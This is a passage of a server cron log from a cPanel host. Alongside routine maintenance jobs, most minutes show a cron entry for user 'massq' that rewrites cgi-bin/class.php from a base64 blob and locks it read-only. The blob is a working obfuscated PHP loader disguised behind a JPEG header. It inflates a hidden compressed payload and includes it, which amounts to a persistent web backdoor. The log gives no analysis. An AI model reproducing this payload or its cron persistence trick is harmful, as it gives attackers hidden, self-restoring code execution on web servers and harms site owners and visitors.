YO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:46:01 server CROND[25322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:46:01 server CROND[25323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:46:01 server CROND[25324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:47:01 server CROND[25803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:47:01 server CROND[25804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:47:01 server CROND[25805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:48:01 server CROND[26184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:48:01 server CROND[26185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:48:01 server CROND[26186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:49:01 server CROND[26561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:49:01 server CROND[26562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:49:01 server CROND[26563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:50:01 server CROND[26938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:50:01 server CROND[26940]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:50:01 server CROND[26943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:50:01 server CROND[26945]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 07:50:01 server CROND[26946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:50:01 server CROND[26947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:50:01 server CROND[26948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:50:01 server CROND[26949]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:50:01 server CROND[26950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:51:01 server CROND[27763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:51:01 server CROND[27764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:51:01 server CROND[27765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:52:01 server CROND[28227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:52:01 server CROND[28228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:52:01 server CROND[28229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:53:01 server CROND[28594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:53:01 server CROND[28595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:53:01 server CROND[28596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:54:01 server CROND[28962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:54:01 server CROND[28963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:54:01 server CROND[28964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:55:01 server CROND[29335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:55:01 server CROND[29338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:55:01 server CROND[29337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:55:01 server CROND[29342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:55:01 server CROND[29341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:55:01 server CROND[29340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:55:01 server CROND[29339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:56:01 server CROND[30145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:56:01 server CROND[30146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:56:01 server CROND[30148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:57:01 server CROND[30615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:57:01 server CROND[30616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:57:01 server CROND[30617]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 07:57:01 server CROND[30618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:58:01 server CROND[31001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:58:01 server CROND[31002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
